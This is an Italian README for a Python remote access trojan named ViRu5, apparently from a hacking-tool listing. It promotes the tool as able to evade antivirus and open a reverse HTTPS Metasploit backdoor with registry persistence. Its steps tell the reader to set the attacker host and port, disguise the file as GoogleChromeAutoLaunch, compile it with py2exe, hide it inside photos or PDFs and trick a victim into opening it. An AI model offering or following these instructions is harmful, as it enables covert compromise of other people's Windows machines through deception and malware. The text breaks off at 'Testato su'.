python-rootkit

Questo è un RAT Python completamente non rilevabile che può bypassare quasi tutti gli antivirus e aprire una backdoor su qualsiasi macchina windows che stabilirà una connessione reverse https Metasploit verso la tua macchina in ascolto.

Ciclo di vita di ViRu5

• Bypassa tutti gli antivirus.
• Inietta uno script powershell malevolo in memoria.
• Stabilisce una connessione reverse https verso la macchina dell'attaccante.
• Controlla ogni 10 secondi e assicura che la connessione esista ancora, se non è così ristabilirà una nuova connessione.
• Aggiunge una chiave di registro di avvio per riconnettersi all'attaccante dopo il riavvio.

Passi

• Aggiorna i parametri di viRu5/source.py con il tuo lhost e lport
• Rinomina source.py in GoogleChromeAutoLaunch.py
• Aggiungi GoogleChromeAutoLaunch.py, setup.py e la tua icona come icon.ico nella directory c:\python27
• Dal prompt dei comandi esegui
  root@kitploit:~

  cd c:\python27 && python setup.py py2exe
  

• Trova il file RAT nella directory Dist.
• Nascondilo in qualsiasi foto, pdf, word o qualsiasi altro tipo di file
• Invialo alla vittima
• Usa le tue abilità di ingegneria sociale per fargli aprire i file
• Riceverai una connessione reverse https Metasploit :)

Testato su